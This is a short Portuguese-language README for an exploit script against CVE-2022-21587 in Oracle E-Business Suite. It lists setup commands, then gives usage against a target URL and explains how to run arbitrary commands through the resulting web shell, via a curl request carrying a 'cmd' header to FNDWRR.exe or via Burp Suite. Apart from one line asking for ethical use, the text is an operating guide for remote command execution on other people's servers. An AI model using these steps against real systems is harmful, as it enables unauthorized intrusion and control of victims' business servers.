CVE-2022-21587-Oracle-EBS-

Pré-requisito para executar este exploit:

• python3 incluindo os módulos (requests, os, sys, slipit)
• uuencode

Antes de executar, certifique-se de usar apenas para fins éticos.

se o exploit falhar ao executar:

• Certifique-se de que já instalou o módulo pré-requisito.

instalar requests

• pip3 install requests

• Instalar slipit, git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• Instalar uuencode

  • sudo apt install sharutils

• Uso: python3 exploit.py http://target.com

  • então o shell aparecerá OU você também pode executar o shell usando curl ou ferramentas de proxy web (burpsuite)
  • usando curl: curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • usando burpsuite: Apenas adicione cmd no cabeçalho da requisição com qualquer payload bash que deseje executar.